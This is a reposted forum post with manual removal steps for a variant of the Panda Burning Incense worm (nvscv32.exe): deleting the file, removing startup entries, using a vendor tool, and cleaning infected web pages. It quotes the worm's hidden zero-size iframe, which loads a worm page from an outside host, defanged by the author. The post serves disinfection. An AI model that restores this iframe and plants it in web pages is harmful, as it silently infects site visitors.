[转载] 熊猫烧香病毒nvscv32.exe变种手动清除方案

熊猫烧香病毒nvscv32.exe变种手动清除方案  
作者：GonNa
  

编者按：PConline提供了一种针对熊猫烧香病毒nvscv32.exe变种的查杀办法。据调查此变种于16日出现。笔者有幸于17日与“熊猫烧香病毒nvscv32.exe变种”亲密接触，并用以下方法将其清除。推荐使用第一种方法。

相关链接：
《熊猫烧香病毒专杀及手动修复方案》——适合病毒进程为：spoclsv.exe和FuckJacks.exe的读者。此文的病毒进程为：nvscv32.exe

一、PConline提供的解决方案

　　1.拔网线；

　　2.重新进入WinXP安全模式，熊猫烧香病毒进程没有加载，可使用“任务管理器”！（提示：开机后按住F8）

　　3.删除病毒文件：%SystemRoot%\system32\drivers\nvscv32.exe。

　　4.开始菜单=>运行，运行msconfig命令。在“系统配置实用程序”中，取消与nvscv32.exe相关的进程。也可使用超级兔子魔法设置、HijackThis等，删除nvscv32.exe的注册表启动项。



贴子相关图片:


作者： 孤獨流浪︱  2007-2-13 11:10 　 回复此发言   

--------------------------------------------------------------------------------

2 回复：熊猫烧香病毒nvscv32.exe变种手动清除方案  
5.下载并使用江民专杀工具，修复被感染的exe文件。并及时打上Windows补丁。

　　6.清除html/asp/php等，所有网页文件中如下代码：（为防止传播代码有三处修改，请将“。”换为“.”）

　　<iframe src=http://www。krvkr。com/worm。htm width=”0” height=”0”></iframe>

　　批量清除恶意代码的方法：

　　可使用Dreamweaver的批量替换。

手工杀毒要的是经验和意识。